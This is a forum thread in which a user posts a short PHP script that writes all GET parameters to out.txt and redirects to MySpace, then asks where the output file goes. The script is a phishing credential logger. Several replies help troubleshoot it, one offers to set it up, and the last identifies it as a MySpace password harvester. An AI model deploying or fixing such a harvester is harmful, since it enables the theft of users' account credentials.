i have a .php file that supposedly creates this out.txt file . where would i be able to find this out.txt file? here's the php file,

PHP Code:

<?php
header("Location: http://home14.myspace.com/index.cfm?fuseaction=user");
$handle = fopen("out.txt", "a");
foreach($_GET as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

my website host supports php so i just uploaded the php file and the other files to my website and now i don't know where to find this out.txt file

It is probably non existent considering your script is telling the browser to change location to that link on the first line, consequently none of the rest of the script is run. If it were to run that file would be in the same folder as the script.

You should find it in the same directory as the PHP file is in, given that the script has the permissions to write there.

yes, i can help you set it up , what is the address to where you are uploading the php file?

You need to put an empty out.txt file in the same directory as the script.

Not unless he uses the "a+" parameter (means: append to file and create it if it doesn't exist).

PHP Code:

$handle = fopen("out.txt", "a+"); 


Both "a" and "a+" attempt to create the file if it doesn't exist. The difference is that "a" opens for writing only, while "a+" opens for reading and writing.

Sorry 'bout that... Yes, you're right, both will create a new file. (if there are enough privileges to do that)

It's ok - I had to look it up.

It should be noted that this is a malicious script aimed at harvesting MySpace passwords, and I don't think anybody should be helping this user with this problem. If your going to try and be a script kiddie, at least put in enough effort where you understand what that code is doing, and how to modify it some.